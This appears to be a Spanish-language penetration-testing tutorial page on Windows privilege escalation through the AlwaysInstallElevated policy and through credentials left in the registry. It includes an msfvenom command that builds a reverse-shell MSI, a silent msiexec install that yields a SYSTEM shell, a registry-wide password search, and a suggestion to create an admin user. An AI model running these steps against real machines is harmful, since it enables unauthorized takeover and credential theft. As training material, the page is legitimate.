Track Windows / Teoría
08 Vector · MSI elevado y secretos del registro
Instaladores y registro
Dos clásicos rápidos: una política que deja instalar cualquier .msi como SYSTEM, y credenciales olvidadas en el registro. Los dos salen directos en winPEAS; conviene entender por qué y cómo rematarlos.
📦AlwaysInstallElevated
Si las claves AlwaysInstallElevated = 1 están puestas en HKLM Y HKCU, cualquier usuario puede instalar un paquete .msi como SYSTEM. Es una mala práctica de despliegue que regala la máquina.
1
Comprueba las DOS claves
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated y lo mismo en HKCU. Ambas deben ser 1.2
Fabrica el MSI
msfvenom -f msi -p windows/x64/shell_reverse_tcp LHOST=.. LPORT=.. -o x.msi.3
Instálalo
msiexec /quiet /qn /i x.msi -> se ejecuta como SYSTEM -> tu shell.🔑Credenciales en el registro
El registro guarda secretos más veces de lo que parece:
| AutoLogon | HKLM\...\Winlogon -> DefaultUserName + DefaultPassword EN CLARO si está configurado el inicio automático. |
| PuTTY / WinSCP | sesiones guardadas con hosts y a veces claves. |
| VNC | contraseñas (cifradas con clave conocida, fáciles de recuperar). |
| Software varios | busca con reg query HKLM /f password /t REG_SZ /s y en HKCU. |
Una credencial del registro puede ser la de un admin local, o valer en OTRA máquina del dominio.
"Solo una de las dos claves AlwaysInstallElevated está a 1"
No vale: tienen que estar AMBAS (HKLM y HKCU). Con una sola, el vector no funciona.
"msiexec no me devuelve shell"
Comprueba arquitectura (x64), que tu listener esté a la escucha, y usa /quiet /qn. Prueba un payload distinto o un msi que cree un usuario admin si la shell falla.
🔎 No memorices comandos. Ten el Arsenal abierto en otra pestaña y busca ahí el comando exacto cuando lo necesites. Entiende el POR QUÉ aquí; el COMANDO lo copias del Arsenal.
Abrir Arsenal